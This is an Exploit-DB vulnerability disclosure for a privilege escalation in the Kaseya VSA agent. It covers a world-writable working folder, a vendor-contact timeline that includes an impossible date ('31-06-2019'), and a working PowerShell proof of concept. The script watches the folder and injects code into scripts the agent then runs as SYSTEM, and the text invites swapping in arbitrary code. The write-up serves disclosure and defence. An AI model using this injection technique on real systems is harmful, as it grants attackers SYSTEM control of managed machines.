Kaseya VSA agent 9.5 – Privilege Escalation

  • 作者: NF
    日期: 2019-09-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47341/
  • # Exploit Title: Kaseya VSA agent <= 9.5 privilege escalation
    # Google Dork: N/A
    # Date: 2-09-2019
    # Exploit Author: NF
    # Vendor Homepage: https://www.kaseya.com/products/vsa/
    # Software Link: https://www.kaseya.com/products/vsa/
    # Version:<= 9.5 agentmon.exe
    # Tested on: Windows 10
    # CVE : N/A
    
    
    ##Vulnerability##
    
    This is not a new issue as such but more of the same in line with <a href="https://www.securityfocus.com/archive/1/541884/30/300/threaded">CVE-2017-12410</a> found by Filip Palian.
    A a fix was put in place for the original CVE, however it was specific to binaries and not scripts.
    The root cause for both issues is allowing a low privileged group excessive permissions to a folder used by a elevated process.
    
    The Kaseya agent (agentmon.exe) runs as SYSTEM by default.
    The agent also has a default working folder @ C:\kworking\
    It will pull scripts and binaries to this folder and execute them from disk from the controlling web application.
    By default the *Authenticated Users* group has all rights to this folder.
    
    Scripts are written to disk however they are not checked for integrity prior to execution.
    So a folder can be monitored for script files being dropped and then append malicious code prior to execution.
    
    ##Proof of concept##
    
    This PowerShell script will monitor the default working directory.
    When a ps1 script drops from a scheduled task or run from the VSA web application it will then append the command "Write-Host 'injected content'" which will run as SYSTEM.
    Change the Write-Host command to the code to be executed or update the script to target other script drops such as vb script.
    
    Note: To test you will need to sign up for a trial with VSA to have the ability to deploy an agent & schedule/run scripts
    
    <--script start-->
    
    $folder = 'c:\kworking'
    $filter = '*.ps1'
    
    $filesystem = New-Object IO.FileSystemWatcher $folder, $filter -Property @{IncludeSubdirectories = $false;NotifyFilter =[IO.NotifyFilters]'FileName, LastWrite'}
    
    Register-ObjectEvent $filesystem Created -SourceIdentifier FileCreated -Action {
    $path = $Event.SourceEventArgs.FullPath
    "`nWrite-Host 'injected content'" | Out-File -Append -FilePath $path -Encoding utf8
    Unregister-Event FileCreated
    }
     
    <--script end-->
    
    ##Timeline##
    
    16-06-2019 :: Issue found
    18-06-2019 :: security@ emailed requesting steps to disclose
    30-06-2019 :: CERT contacted due to non response of vendor from official email address
    31-06-2019 :: CERT still unable to contact vendor
    07-07-2019 :: CERT makes contact with vendor. Discover security@ address is not monitored by vendor
    20-08-2019 :: Vendor confirms receipt of details
    27-08-2019 :: Email sent indicating intention to disclose due to lack of response
    02-09-2019 :: No response through CERT. Findings published